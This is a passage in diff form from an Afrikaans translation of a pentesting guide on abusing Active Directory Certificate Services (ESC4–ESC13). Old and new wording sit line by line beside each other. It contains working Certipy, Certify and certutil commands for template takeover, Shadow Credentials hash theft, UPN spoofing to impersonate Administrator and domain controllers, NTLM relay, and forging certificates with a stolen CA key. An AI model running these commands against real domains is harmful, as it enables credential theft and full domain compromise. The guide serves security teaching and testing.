Die **veiligheidsbeskrywer** op **sertifikaat sjablone** definieer die **toestemmings** wat spesifieke **AD prinsipes** het ten opsigte van die sjabloon.
As 'n **aanvaller** die nodige **toestemmings** het om 'n **sjabloon** te **verander** en enige **uitbuitbare misconfigurasies** soos in **vorige afdelings** uiteengesit, kan voorregte eskalasie gefasiliteer word.
As 'n **aanvaller** die nodige **toestemmings** het om 'n **sjabloon** te **verander** en enige **uitbuitbare miskonfigurasies** soos in **vorige afdelings** uiteengesit, kan voorregverhoging gefasiliteer word.
Opmerklike toestemmings wat van toepassing is op sertifikaat sjablone sluit in:
@ -144,13 +144,13 @@ Opmerklike toestemmings wat van toepassing is op sertifikaat sjablone sluit in:
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4 is wanneer 'n gebruiker skryftoestemmings oor 'n sertifikaat sjabloon het. Dit kan byvoorbeeld misbruik word om die konfigurasie van die sertifikaat sjabloon te oorskry om die sjabloon kwesbaar te maak vir ESC1.
ESC4 is wanneer 'n gebruiker skryfregte oor 'n sertifikaat sjabloon het. Dit kan byvoorbeeld misbruik word om die konfigurasie van die sertifikaat sjabloon te oorskry om die sjabloon kwesbaar te maak vir ESC1.
Soos ons in die pad hierbo kan sien, het slegs `JOHNPC` hierdie toestemmings, maar ons gebruiker `JOHN` het die nuwe `AddKeyCredentialLink` rand na `JOHNPC`. Aangesien hierdie tegniek verband hou met sertifikate, het ek hierdie aanval ook geïmplementeer, wat bekend staan as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Hier is 'n bietjie voorsmakie van Certipy se `shadow auto` opdrag om die NT-hash van die slagoffer te verkry.
Soos ons in die pad hierbo kan sien, het slegs `JOHNPC` hierdie regte, maar ons gebruiker `JOHN` het die nuwe `AddKeyCredentialLink` rand aan `JOHNPC`. Aangesien hierdie tegniek verband hou met sertifikate, het ek hierdie aanval ook geïmplementeer, wat bekend staan as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Hier is 'n bietjie voorsmakie van Certipy se `shadow auto` opdrag om die NT hash van die slagoffer te verkry.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy** kan die konfigurasie van 'n sertifikaat sjabloon met 'n enkele opdrag oorskryf. Deur **standaard** sal Certipy die konfigurasie **oorskryf** om dit **kwesbaar te maak vir ESC1**. Ons kan ook die **`-save-old` parameter spesifiseer om die ou konfigurasie te stoor**, wat nuttig sal wees vir **herstel** van die konfigurasie na ons aanval.
**Certipy** kan die konfigurasie van 'n sertifikaat sjabloon met 'n enkele opdrag oorskryf. Deur **standaard** sal Certipy die konfigurasie **oorskryf** om dit **kwetsbaar te maak vir ESC1**. Ons kan ook die **`-save-old` parameter spesifiseer om die ou konfigurasie te stoor**, wat nuttig sal wees om die konfigurasie na ons aanval te **herstel**.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -163,23 +163,23 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
```
## Kwetsbare PKI Objekt Toegang Beheer - ESC5
### Verklaring
### Verduideliking
Die uitgebreide web van onderling verbonde ACL-gebaseerde verhoudings, wat verskeie objekte behalwe sertifikaat sjablone en die sertifikaatowerheid insluit, kan die sekuriteit van die hele AD CS-stelsel beïnvloed. Hierdie objekte, wat 'n beduidende impak op sekuriteit kan hê, sluit in:
Die uitgebreide web van onderling verbonde ACL-gebaseerde verhoudings, wat verskeie objekte buite sertifikaat sjablone en die sertifikaatowerheid insluit, kan die sekuriteit van die hele AD CS-stelsel beïnvloed. Hierdie objekte, wat sekuriteit aansienlik kan beïnvloed, sluit in:
- Die AD rekenaarobjek van die CA bediener, wat gecompromitteer kan word deur meganismes soos S4U2Self of S4U2Proxy.
- Die AD rekenaar objek van die CA bediener, wat gecompromitteer kan word deur meganismes soos S4U2Self of S4U2Proxy.
- Die RPC/DCOM bediener van die CA bediener.
- Enige afstammeling AD objek of houer binne die spesifieke houer pad `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Hierdie pad sluit in, maar is nie beperk tot, houers en objekte soos die Sertifikaat Sjablone houer, Sertifiseringsowerhede houer, die NTAuthCertificates objek, en die Registrasie Dienste Houer nie.
- Enige afstammeling AD objek of houer binne die spesifieke houer pad `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Hierdie pad sluit in, maar is nie beperk tot, houers en objekte soos die Sertifikaat Sjablone houer, Sertifikasie Owerhede houer, die NTAuthCertificates objek, en die Registrasie Dienste Houer.
Die sekuriteit van die PKI-stelsel kan gecompromitteer word as 'n laag-geprivilegieerde aanvaller daarin slaag om beheer oor enige van hierdie kritieke komponente te verkry.
Die sekuriteit van die PKI stelsel kan gecompromitteer word as 'n laag-geprivilegieerde aanvaller daarin slaag om beheer oor enige van hierdie kritieke komponente te verkry.
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
### Verklaring
### Verduideliking
Die onderwerp wat in die [**CQure Academy pos**](https://cqureacademy.com/blog/enhanced-key-usage) bespreek word, raak ook die **`EDITF_ATTRIBUTESUBJECTALTNAME2`** vlag se implikasies aan, soos uiteengesit deur Microsoft. Hierdie konfigurasie, wanneer geaktiveer op 'n Sertifiseringsowerheid (CA), laat die insluiting van **gebruikersgedefinieerde waardes** in die **onderwerp alternatiewe naam** vir **enige versoek** toe, insluitend dié wat uit Active Directory® saamgestel is. Gevolglik laat hierdie bepaling 'n **indringer** toe om te registreer deur **enige sjabloon** wat opgestel is vir domein **autorisering**—specifiek dié wat oop is vir **onbevoegde** gebruikersregistrasie, soos die standaard Gebruiker sjabloon. As gevolg hiervan kan 'n sertifikaat beveilig word, wat die indringer in staat stel om as 'n domein administrateur of **enige ander aktiewe entiteit** binne die domein te autentiseer.
Die onderwerp wat in die [**CQure Academy pos**](https://cqureacademy.com/blog/enhanced-key-usage) bespreek word, raak ook die **`EDITF_ATTRIBUTESUBJECTALTNAME2`** vlag se implikasies, soos uiteengesit deur Microsoft. Hierdie konfigurasie, wanneer geaktiveer op 'n Sertifikasie Owerheid (CA), laat die insluiting van **gebruikersgedefinieerde waardes** in die **onderwerp alternatiewe naam** vir **enige versoek** toe, insluitend dié wat uit Active Directory® saamgestel is. Gevolglik laat hierdie bepaling 'n **indringer** toe om te registreer deur **enige sjabloon** wat opgestel is vir domein **autentisering**—specifiek dié wat oop is vir **onbevoegde** gebruikersregistrasie, soos die standaard Gebruiker sjabloon. As gevolg hiervan kan 'n sertifikaat beveilig word, wat die indringer in staat stel om as 'n domein administrateur of **enige ander aktiewe entiteit** binne die domein te autentiseer.
**Let wel**: Die benadering om **alternatiewe name** in 'n Sertifikaat Ondertekening Versoek (CSR) by te voeg, deur die `-attrib "SAN:"` argument in `certreq.exe` (verwys na as “Naam Waarde Pare”), bied 'n **kontras** van die uitbuitingsstrategie van SANs in ESC1. Hier lê die onderskeid in **hoe rekeninginligting ingekapsuleer word**—binne 'n sertifikaatattribuut, eerder as 'n uitbreiding.
**Let wel**: Die benadering om **alternatiewe name** in 'n Sertifikaat Ondertekening Versoek (CSR) by te voeg, deur die `-attrib "SAN:"` argument in `certreq.exe` (genoem “Naam Waarde Pare”), bied 'n **kontras** van die uitbuitingsstrategie van SANs in ESC1. Hier lê die onderskeid in **hoe rekeninginligting ingekapsuleer word**—binne 'n sertifikaat attribuut, eerder as 'n uitbreiding.
### Misbruik
@ -187,7 +187,7 @@ Om te verifieer of die instelling geaktiveer is, kan organisasies die volgende o
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
Hierdie operasie gebruik in wese **afgeleë registrasie toegang**, daarom kan 'n alternatiewe benadering wees:
Hierdie operasie gebruik essensieel **remote registry access**, daarom kan 'n alternatiewe benadering wees:
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
@ -209,16 +209,16 @@ Om hierdie konfigurasie in jou omgewing te deaktiveer, kan die vlag verwyder wor
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> Na die Mei 2022 sekuriteitsopdaterings, sal nuut uitgereikte **sertifikate** 'n **sekuriteitsuitbreiding** bevat wat die **aanvrager se `objectSid` eienskap** inkorporeer. Vir ESC1, word hierdie SID afgelei van die gespesifiseerde SAN. egter, vir **ESC6**, spieël die SID die **aanvrager se `objectSid`**, nie die SAN nie.\
> Na die Mei 2022 sekuriteitsopdaterings, sal nuut uitgereikte **certificates** 'n **sekuriteitsuitbreiding** bevat wat die **aanvrager se `objectSid` eienskap** inkorporeer. Vir ESC1, word hierdie SID afgelei van die gespesifiseerde SAN. egter, vir **ESC6**, spieël die SID die **aanvrager se `objectSid`**, nie die SAN nie.\
> Om ESC6 te benut, is dit noodsaaklik dat die stelsel kwesbaar is vir ESC10 (Swak Sertifikaat Kaartjies), wat die **SAN bo die nuwe sekuriteitsuitbreiding** prioriteer.
## Kwesbare Sertifikaat Owerheid Toegangsbeheer - ESC7
## Kwesbare Sertifikaat Owerheid Toegang Beheer - ESC7
### Aanval 1
#### Verklaring
Toegangsbeheer vir 'n sertifikaat owerheid word gehandhaaf deur 'n stel toestemmings wat CA aksies regeer. Hierdie toestemmings kan gesien word deur `certsrv.msc` te benader, met die rechtermuisklik op 'n CA, eienskappe te kies, en dan na die Sekuriteit tab te navigeer. Boonop kan toestemmings opgenoem word met die PSPKI module met opdragte soos:
Toegangbeheer vir 'n sertifikaat owerheid word gehandhaaf deur 'n stel toestemmings wat CA aksies regeer. Hierdie toestemmings kan gesien word deur `certsrv.msc` te benader, met die rechtermuisklik op 'n CA, eienskappe te kies, en dan na die Sekuriteit tab te navigeer. Boonop kan toestemmings opgenoem word met die PSPKI module met opdragte soos:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
@ -233,7 +233,7 @@ Vereenvoudiging van hierdie proses is haalbaar deur die gebruik van PSPKI se **E
Die besit van **`ManageCertificates`** regte fasiliteer die goedkeuring van hangende versoeke, wat effektief die "CA sertifikaatbestuurder goedkeuring" beskerming omseil.
'n Kombinasie van **Certify** en **PSPKI** modules kan gebruik word om 'n sertifikaat aan te vra, goed te keur en af te laai:
```powershell
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
@ -250,7 +250,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
```
### Aanval 2
#### Verklaring
#### Verduideliking
> [!WARNING]
> In die **vorige aanval** is **`Manage CA`** regte gebruik om die **EDITF_ATTRIBUTESUBJECTALTNAME2** vlag te **aktiveer** om die **ESC6 aanval** uit te voer, maar dit sal geen effek hê totdat die CA diens (`CertSvc`) herbegin word nie. Wanneer 'n gebruiker die `Manage CA` toegangreg het, mag die gebruiker ook die **diens herbegin**. Dit **beteken egter nie dat die gebruiker die diens op afstand kan herbegin** nie. Verder, E**SC6 mag nie regtig werk nie** in die meeste gepatchte omgewings weens die sekuriteitsopdaterings van Mei 2022.
@ -263,7 +263,7 @@ Voorvereistes:
- **`Manage Certificates`** toestemming (kan toegeken word vanaf **`ManageCA`**)
- Sertifikaat sjabloon **`SubCA`** moet **geaktiveer** wees (kan geaktiveer word vanaf **`ManageCA`**)
Die tegniek berus op die feit dat gebruikers met die `Manage CA` _en_ `Manage Certificates` toegangregte **mislukte sertifikaat versoeke kan uitreik**. Die **`SubCA`** sertifikaat sjabloon is **kwetsbaar vir ESC1**, maar **slegs administrateurs** kan in die sjabloon registreer. Dus kan 'n **gebruiker** **versoek** om in die **`SubCA`** te registreer - wat **weggestoot** sal word - maar **dan deur die bestuurder daarna uitgereik** sal word.
Die tegniek berus op die feit dat gebruikers met die `Manage CA` _en_ `Manage Certificates` toegangregte **mislukte sertifikaat versoeke kan uitreik**. Die **`SubCA`** sertifikaat sjabloon is **kwetsbaar vir ESC1**, maar **slegs administrateurs** kan in die sjabloon registreer. Dus kan 'n **gebruiker** **aansoek doen** om in die **`SubCA`** te registreer - wat **weggestoot** sal word - maar **dan deur die bestuurder daarna uitgereik** sal word.
#### Misbruik
@ -274,7 +274,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
Die **`SubCA`** sjabloon kan op die CA geaktiveer word met die `-enable-template` parameter. Standaard is die `SubCA` sjabloon geaktiveer.
Die **`SubCA`** sjabloon kan **geaktiveer word op die CA** met die `-enable-template` parameter. Standaard is die `SubCA` sjabloon geaktiveer.
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -300,14 +300,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
Met ons **`Manage CA` en `Manage Certificates`**, kan ons dan die **mislukte sertifikaat** versoek met die `ca` opdrag en die `-issue-request <request ID>` parameter.
Met ons **`Manage CA` en `Manage Certificates`**, kan ons dan die **mislukte sertifikaat** versoek met die `ca` opdrag en die `-issue-request <request ID>` parameter uitreik.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
En uiteindelik kan ons die **uitgereikte sertifikaat** met die `req` opdrag en die `-retrieve <request ID>` parameter verkry.
En uiteindelik kan ons **die uitgereikte sertifikaat** met die `req` opdrag en die `-retrieve <request ID>` parameter **herwin**.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -324,14 +324,14 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Verduideliking
> [!NOTE]
> In omgewings waar **AD CS geïnstalleer is**, indien 'n **web inskrywings eindpunt kwesbaar** is en ten minste een **sertifikaat sjabloon gepubliseer** is wat **domein rekenaar inskrywing en kliënt verifikasie** toelaat (soos die standaard **`Machine`** sjabloon), word dit moontlik vir **enige rekenaar met die spooler diens aktief om deur 'n aanvaller gecompromitteer te word**!
> In omgewings waar **AD CS geïnstalleer is**, indien 'n **web inskrywings eindpunt wat kwesbaar is** bestaan en ten minste een **sertifikaat sjabloon gepubliseer is** wat **domein rekenaar inskrywing en kliënt verifikasie** toelaat (soos die standaard **`Machine`** sjabloon), word dit moontlik vir **enige rekenaar met die spooler diens aktief om deur 'n aanvaller gecompromitteer te word**!
Verskeie **HTTP-gebaseerde inskrywingsmetodes** word deur AD CS ondersteun, beskikbaar gemaak deur addisionele bediener rolle wat administrateurs kan installeer. Hierdie interfaces vir HTTP-gebaseerde sertifikaat inskrywing is kwesbaar vir **NTLM relay aanvalle**. 'n Aanvaller, vanaf 'n **gecompromitteerde masjien, kan enige AD rekening naboots wat via inkomende NTLM verifieer**. Terwyl die slagoffer rekening naboots, kan hierdie web interfaces deur 'n aanvaller toegang verkry om **'n kliënt verifikasie sertifikaat aan te vra met die `User` of `Machine` sertifikaat sjablone**.
- Die **web inskrywingsinterface** (n ouer ASP toepassing beskikbaar by `http://<caserver>/certsrv/`), is standaard net op HTTP, wat nie beskerming teen NTLM relay aanvalle bied nie. Boonop, dit laat eksplisiet net NTLM verifikasie toe deur sy Authorization HTTP kop, wat meer veilige verifikasie metodes soos Kerberos onvanpas maak.
- Die **Sertifikaat Inskrywingsdiens** (CES), **Sertifikaat Inskrywingsbeleid** (CEP) Webdiens, en **Netwerk Toestel Inskrywingsdiens** (NDES) ondersteun standaard onderhandelingsverifikasie deur hul Authorization HTTP kop. Onderhandelingsverifikasie **ondersteun beide** Kerberos en **NTLM**, wat 'n aanvaller toelaat om **af te gradeer na NTLM** verifikasie tydens relay aanvalle. Alhoewel hierdie webdienste standaard HTTPS inskakel, bied HTTPS alleen **nie beskerming teen NTLM relay aanvalle nie**. Beskerming teen NTLM relay aanvalle vir HTTPS dienste is slegs moontlik wanneer HTTPS gekombineer word met kanaalbinding. Ongelukkig aktiveer AD CS nie Verlengde Beskerming vir Verifikasie op IIS nie, wat vereis word vir kanaalbinding.
- Die **web inskrywingsinterface** (n ouer ASP toepassing beskikbaar by `http://<caserver>/certsrv/`), is standaard net op HTTP, wat geen beskerming teen NTLM relay aanvalle bied nie. Boonop, dit laat slegs NTLM verifikasie deur sy Outeurskap HTTP kop toe, wat meer veilige verifikasie metodes soos Kerberos onvanpas maak.
- Die **Sertifikaat Inskrywingsdiens** (CES), **Sertifikaat Inskrywingsbeleid** (CEP) Webdiens, en **Netwerk Toestel Inskrywingsdiens** (NDES) ondersteun standaard onderhandel verifikasie deur hul Outeurskap HTTP kop. Onderhandel verifikasie **ondersteun beide** Kerberos en **NTLM**, wat 'n aanvaller in staat stel om **te verlaag na NTLM** verifikasie tydens relay aanvalle. Alhoewel hierdie webdienste standaard HTTPS inskakel, bied HTTPS alleen **nie beskerming teen NTLM relay aanvalle nie**. Beskerming teen NTLM relay aanvalle vir HTTPS dienste is slegs moontlik wanneer HTTPS gekombineer word met kanaal binding. Ongelukkig aktiveer AD CS nie Verlengde Beskerming vir Verifikasie op IIS nie, wat vereis word vir kanaal binding.
'n Algemene **probleem** met NTLM relay aanvalle is die **kort duur van NTLM sessies** en die onmoontlikheid van die aanvaller om met dienste te interaksie wat **NTLM ondertekening vereis**.
'n Algemene **probleem** met NTLM relay aanvalle is die **kort duur van NTLM sessies** en die onvermoë van die aanvaller om met dienste te interaksie wat **NTLM ondertekening vereis**.
Nietemin, hierdie beperking word oorkom deur 'n NTLM relay aanval te benut om 'n sertifikaat vir die gebruiker te verkry, aangesien die sertifikaat se geldigheidsperiode die sessie se duur bepaal, en die sertifikaat kan gebruik word met dienste wat **NTLM ondertekening vereis**. Vir instruksies oor die gebruik van 'n gesteelde sertifikaat, verwys na:
@ -353,12 +353,12 @@ Certify.exe cas
```
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
Die `msPKI-Enrollment-Servers` eienskap word deur ondernemings Sertifikaatowerhede (CAs) gebruik om Sertifikaat Registrasiediens (CES) eindpunte te stoor. Hierdie eindpunte kan gepars en gelys word deur die hulpmiddel **Certutil.exe** te gebruik:
Die `msPKI-Enrollment-Servers` eienskap word deur ondernemings Sertifikaatowerhede (CAs) gebruik om Sertifikaat Registrasie Diens (CES) eindpunte te stoor. Hierdie eindpunte kan ontleed en gelys word deur die hulpmiddel **Certutil.exe** te gebruik:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
```powershell
```bash
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
@ -407,17 +407,17 @@ Die toestande waaronder hierdie vlag se instelling betekenisvol word, sluit in:
- `StrongCertificateBindingEnforcement` is nie aangepas na `2` nie (met die standaard wat `1` is), of `CertificateMappingMethods` sluit die `UPN` vlag in.
- Die sertifikaat is gemerk met die `CT_FLAG_NO_SECURITY_EXTENSION` vlag binne die `msPKI-Enrollment-Flag` instelling.
- Enige kliëntverifikasie EKU word deur die sertifikaat gespesifiseer.
- `GenericWrite` toestemmings is beskikbaar oor enige rekening om 'n ander te kompromitteer.
- `GenericWrite` regte is beskikbaar oor enige rekening om 'n ander te kompromitteer.
### Misbruik Scenario
Neem aan `John@corp.local` hou `GenericWrite` toestemmings oor `Jane@corp.local`, met die doel om `Administrator@corp.local` te kompromitteer. Die `ESC9` sertifikaat sjabloon, waartoe `Jane@corp.local` toegelaat word om in te skryf, is geconfigureer met die `CT_FLAG_NO_SECURITY_EXTENSION` vlag in sy `msPKI-Enrollment-Flag` instelling.
Neem aan `John@corp.local` hou `GenericWrite` regte oor `Jane@corp.local`, met die doel om `Administrator@corp.local` te kompromitteer. Die `ESC9` sertifikaat sjabloon, waartoe `Jane@corp.local` toegelaat word om in te skryf, is geconfigureer met die `CT_FLAG_NO_SECURITY_EXTENSION` vlag in sy `msPKI-Enrollment-Flag` instelling.
Aanvanklik word `Jane` se hash verkry met behulp van Shadow Credentials, danksy `John` se `GenericWrite`:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Daarna word `Jane` se `userPrincipalName` verander na `Administrator`, met opsetlike om die `@corp.local` domein gedeelte te laat val:
Daaropvolgend word `Jane` se `userPrincipalName` verander na `Administrator`, met opsetlike weglating van die `@corp.local` domein gedeelte:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
@ -456,15 +456,15 @@ As `CertificateMappingMethods` die `UPN` bit (`0x4`) insluit.
### Misbruik Geval 1
Met `StrongCertificateBindingEnforcement` geconfigureer as `0`, kan 'n rekening A met `GenericWrite` toestemmings misbruik word om enige rekening B te kompromitteer.
Met `StrongCertificateBindingEnforcement` geconfigureer as `0`, kan 'n rekening A met `GenericWrite` regte misbruik word om enige rekening B te kompromitteer.
Byvoorbeeld, met `GenericWrite` toestemmings oor `Jane@corp.local`, mik 'n aanvaller om `Administrator@corp.local` te kompromitteer. Die prosedure weerspieël ESC9, wat enige sertifikaat sjabloon toelaat om gebruik te word.
Byvoorbeeld, met `GenericWrite` regte oor `Jane@corp.local`, mik 'n aanvaller om `Administrator@corp.local` te kompromitteer. Die prosedure weerspieël ESC9, wat enige sertifikaat sjabloon toelaat om gebruik te word.
Aanvanklik word `Jane` se hash verkry met behulp van Shadow Credentials, wat die `GenericWrite` misbruik.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Daarna word `Jane` se `userPrincipalName` verander na `Administrator`, met opset om die `@corp.local` gedeelte te omseil om 'n beperkingsoortreding te vermy.
Daarna word `Jane` se `userPrincipalName` verander na `Administrator`, met opsetlike weglating van die `@corp.local` gedeelte om 'n beperkingsoortreding te vermy.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
@ -472,7 +472,7 @@ Hierdie, 'n sertifikaat wat kliëntverifikasie moontlik maak, word aangevra as `
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane` se `userPrincipalName` word dan teruggestel na sy oorspronklike, `Jane@corp.local`.
`Jane` se `userPrincipalName` word dan na sy oorspronklike, `Jane@corp.local`, teruggekeer.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
@ -482,7 +482,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
```
### Misbruikgeval 2
Met die `CertificateMappingMethods` wat die `UPN` bit vlag (`0x4`) bevat, kan 'n rekening A met `GenericWrite` regte enige rekening B wat 'n `userPrincipalName` eienskap ontbreek, insluitend masjienrekeninge en die ingeboude domein administrateur `Administrator`, kompromenteer.
Met die `CertificateMappingMethods` wat die `UPN` bit vlag (`0x4`) bevat, kan 'n rekening A met `GenericWrite` regte enige rekening B sonder 'n `userPrincipalName` eienskap, insluitend masjienrekeninge en die ingeboude domein administrateur `Administrator`, kompromenteer.
Hier is die doel om `DC$@corp.local` te kompromenteer, begin met die verkryging van `Jane` se hash deur Shadow Credentials, wat die `GenericWrite` benut.
```bash
@ -500,21 +500,21 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
Om te autentiseer via Schannel, word Certipy se `-ldap-shell` opsie gebruik, wat suksesvolle autentisering aandui as `u:CORP\DC$`.
Om via Schannel te autentiseer, word Certipy se `-ldap-shell` opsie gebruik, wat suksesvolle autentisering aandui as `u:CORP\DC$`.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Deur die LDAP-skal, stel opdragte soos `set_rbcd` Resource-Based Constrained Delegation (RBCD) aanvalle in staat, wat moontlik die domeinbeheerder in gevaar kan stel.
Deur die LDAP-skal, stel opdragte soos `set_rbcd` Resource-Based Constrained Delegation (RBCD) aanvalle in staat, wat moontlik die domeinbeheerder kan kompromenteer.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Hierdie kwesbaarheid strek ook uit na enige gebruikersrekening wat 'n `userPrincipalName` ontbreek of waar dit nie ooreenstem met die `sAMAccountName` nie, met die standaard `Administrator@corp.local` as 'n primêre teiken weens sy verhoogde LDAP-privileges en die afwesigheid van 'n `userPrincipalName` as standaard.
## Relaying NTLM na ICPR - ESC11
## Relaying NTLM to ICPR - ESC11
### Verklaring
### Uitleg
As CA Server nie gekonfigureer is met `IF_ENFORCEENCRYPTICERTREQUEST`, kan dit NTLM relay-aanvalle maak sonder om te teken via RPC-diens. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
As CA Server nie gekonfigureer is met `IF_ENFORCEENCRYPTICERTREQUEST` nie, kan dit NTLM relay-aanvalle maak sonder om te teken via RPC-diens. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
Jy kan `certipy` gebruik om te tel of `Enforce Encryption for Requests` gedeaktiveer is en certipy sal `ESC11` kwesbaarhede wys.
```bash
@ -568,13 +568,13 @@ Administrateurs kan die Sertifikaatowerheid opstel om dit op 'n eksterne toestel
As 'n USB-toestel aan die CA-bediener gekoppel is via 'n USB-poort, of 'n USB-toestelbediener in die geval dat die CA-bediener 'n virtuele masjien is, is 'n autentikasiesleutel (soms verwys as 'n "wagwoord") nodig vir die Sleutelberging Verskaffer om sleutels in die YubiHSM te genereer en te gebruik.
Hierdie sleutel/wagwoord word in die register gestoor onder `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in duidelike teks.
Hierdie sleutel/wagwoord word in die register onder `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in duidelike teks gestoor.
Verwysing in [hier](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Misbruik Scenario
As die CA se privaat sleutel op 'n fisiese USB-toestel gestoor is wanneer jy shell toegang verkry, is dit moontlik om die sleutel te herstel.
As die CA se privaat sleutel op 'n fisiese USB-toestel gestoor is wanneer jy toegang tot 'n shell verkry, is dit moontlik om die sleutel te herstel.
Eerstens moet jy die CA-sertifikaat verkry (dit is publiek) en dan:
```cmd
@ -584,18 +584,18 @@ $ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
```
Gebruik uiteindelik die certutil `-sign` opdrag om 'n nuwe arbitrêre sertifikaat te vervals met behulp van die CA-sertifikaat en sy privaat sleutel.
Finale, gebruik die certutil `-sign` opdrag om 'n nuwe arbitrêre sertifikaat te vervals met behulp van die CA-sertifikaat en sy privaat sleutel.
## OID Groep Skakel Misbruik - ESC13
### Verklaring
Die `msPKI-Certificate-Policy` attribuut laat die uitreikingsbeleid toe om by die sertifikaat sjabloon gevoeg te word. Die `msPKI-Enterprise-Oid` objekte wat verantwoordelik is vir die uitreiking van beleid kan ontdek word in die Konfigurasie Naam Konteks (CN=OID,CN=Public Key Services,CN=Services) van die PKI OID houer. 'n Beleid kan aan 'n AD-groep gekoppel word met behulp van hierdie objek se `msDS-OIDToGroupLink` attribuut, wat 'n stelsel in staat stel om 'n gebruiker te magtig wat die sertifikaat voorlê asof hy 'n lid van die groep was. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Die `msPKI-Certificate-Policy` attribuut laat die uitreikingsbeleid toe om by die sertifikaat sjabloon gevoeg te word. Die `msPKI-Enterprise-Oid` objekte wat verantwoordelik is vir die uitreiking van beleid kan ontdek word in die Konfigurasie Naam Konteks (CN=OID,CN=Public Key Services,CN=Services) van die PKI OID houer. 'n Beleid kan aan 'n AD-groep gekoppel word met behulp van hierdie objek se `msDS-OIDToGroupLink` attribuut, wat 'n stelsel in staat stel om 'n gebruiker te magtig wat die sertifikaat aanbied asof hy 'n lid van die groep was. [Verwysing hier](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Met ander woorde, wanneer 'n gebruiker toestemming het om 'n sertifikaat aan te vra en die sertifikaat aan 'n OID-groep gekoppel is, kan die gebruiker die voorregte van hierdie groep erf.
Gebruik [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) om OIDToGroupLink te vind:
```powershell
```bash
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
@ -626,15 +626,18 @@ Alles wat dit moet doen, is om die sjabloon te spesifiseer, dit sal 'n sertifika
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Kompromitering van Woude met Sertifikate Verduidelik in Passiewe Vorm
## Kompromitering van Woude met Sertifikate Verduidelik in Passiewe Stem
### Breking van Woud Vertroue deur Kompromiteerde CA's
